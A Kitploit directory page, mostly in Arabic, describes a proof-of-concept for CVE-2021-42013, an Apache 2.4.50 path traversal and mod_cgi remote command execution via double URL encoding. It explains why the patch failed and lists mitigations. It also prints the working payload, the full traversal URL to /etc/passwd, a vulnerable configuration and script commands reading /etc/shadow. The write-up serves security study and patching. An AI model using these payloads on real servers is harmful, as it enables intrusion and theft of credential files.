Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-42013 — استغلال إثبات المفهوم لـ CVE-2021-42013، يوضح اجتياز المسار وتنفيذ الأوامر عن بعد على Apache 2.4.50 عبر تجاوز الترميز المزدوج لعنوان URL لتصحيح CVE-2021-41773. | Kitploit
أدوات/GitHubGitHub/joapath/cve-2021-42013
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubjoapath/cve-2021-42013

CVE-2021-42013

استغلال إثبات المفهوم لـ CVE-2021-42013، يوضح اجتياز المسار وتنفيذ الأوامر عن بعد على Apache 2.4.50 عبر تجاوز الترميز المزدوج لعنوان URL لتصحيح CVE-2021-41773.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-42013 — PoC: تجاوز المسار + تنفيذ أوامر عن بُعد عبر mod_cgi (تجاوز التصحيح)

للاستخدام فقط في بيئات خاضعة للرقابة ومملوكة. لا تستخدم ضد أنظمة بدون إذن.


الوصف

تم تطوير PoC لإظهار CVE-2021-42013، الموجود في Apache HTTP Server 2.4.50.

هذا CVE هو تجاوز للتصحيح الذي أصدرته Apache لـ CVE-2021-41773. حاول الإصدار 2.4.50 إصلاح تجاوز المسار السابق بإضافة تحقق يرفض التسلسلات .%2e و %2e.. ومع ذلك، كان هذا التحقق غير كافٍ: لم يأخذ في الاعتبار أنه يمكن الحصول على نفس النتيجة باستخدام تشفير URL مزدوج، مما يترك نفس سطح الهجوم مكشوفًا.


العلاقة مع CVE-2021-41773

CVE-2021-41773CVE-2021-42013
الإصدار المتأثرApache 2.4.49Apache 2.4.50
الترميز المستخدم.%2e/%%32%65%%32%65/
الآليةترميز مفردترميز مزدوج (تجاوز التصحيح)
إمكانية RCEنعم (مع mod_cgi)نعم (مع mod_cgi)
الإصدار المُصحح2.4.50 (تصحيح غير مكتمل)2.4.51

لماذا فشل تصحيح 2.4.50

أضاف تصحيح Apache 2.4.50 تحققًا في ap_normalize_path() يبحث حرفيًا عن التسلسلات .%2e و %2e. في مسار الطلب. إذا وجدها، يرفض الطلب برمز 400 أو 403.

المشكلة: تم تنفيذ هذا التحقق على السلسلة قبل مرور ثاني لفك تشفير URL. إذا كان الحمولة مشفرة بشكل مزدوج، لم يجد التحقق التسلسل المحظور لأنه لم يتم فك تشفيره بعد — وعندما تم فك تشفيره أخيرًا لحل مسار نظام الملفات، كان ../ موجودًا بالفعل وحدث التجاوز.

root@kitploit:~
Payload:          %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación:   %%32%65%%32%65/ → %2e%2e/
Segunda decodificación:   %2e%2e/         → ../
Resultado:        traversal exitoso

التصحيح الفعلي جاء في الإصدار 2.4.51، حيث أعادت Apache كتابة منطق التطبيع لحل المسار بالكامل قبل تطبيق أي تحقق أمني.


الترميز المزدوج — كيف يعمل

%%32%65 هو التمثيل المشفر بشكل مزدوج لـ .:

root@kitploit:~
.  →  %2e  (الترميز القياسي)
%  →  %25  (ترميز الرمز %)
2  →  %32  (ترميز الحرف '2')
e  →  %65  (ترميز الحرف 'e')

إذن %2e مع % المشفر والأحرف السداسية العشرية المشفرة يصبح %%32%65.

فك تشفير أول لـ %%32%65 ينتج %2e. وفك تشفير ثانٍ ينتج ..


الشروط اللازمة

الشرطالتفاصيل
إصدار Apacheبالضبط 2.4.50
توجيه الوصولRequire all granted في الدليل المكشوف
وحدة CGImod_cgi مفعل (فقط لـ RCE)

بيئة الاختبار

root@kitploit:~
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

أو يدويًا مع Apache 2.4.50 وهذا الإعداد في httpd.conf:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

استخدام السكريبت

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

الوسائط

أمثلة

root@kitploit:~
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

المخرجات المتوقعة — وضع traversal

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass del parche de CVE-2021-41773 via doble encoding
  PoC con fines educativos — Solo en entornos propios
============================================================

[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...

[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

المخرجات المتوقعة — وضع rce

root@kitploit:~
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

التخفيف

  • تحديث Apache إلى الإصدار 2.4.51 أو أحدث.
  • الحفاظ على Require all denied كقيمة افتراضية.
  • تعطيل mod_cgi إذا لم يكن ضروريًا.
  • لا تثق أبدًا في أن التصحيح كامل دون مراجعته: يُظهر تحليل الفرق (diff) للإصدار 2.4.51 أن التصحيح الفعلي تطلب إعادة كتابة منطق التطبيع بالكامل.

المراجع

  • NVD — CVE-2021-42013
  • Apache HTTP Server — Security Advisories
  • Qualys — CVE-2021-41773 & CVE-2021-42013 Analysis

تم تطوير PoC لأغراض تعليمية لمحفظة الأمن الهجومي.

تنزيل الأداة
الوسيطمطلوبالوصف
--targetنعمرابط الخادم الأساسي (مثال: http://localhost:8080)
--modeنعمtraversal لقراءة الملفات، rce لتنفيذ الأوامر
--cmdلاالأمر المراد تنفيذه في وضع rce (الافتراضي: id)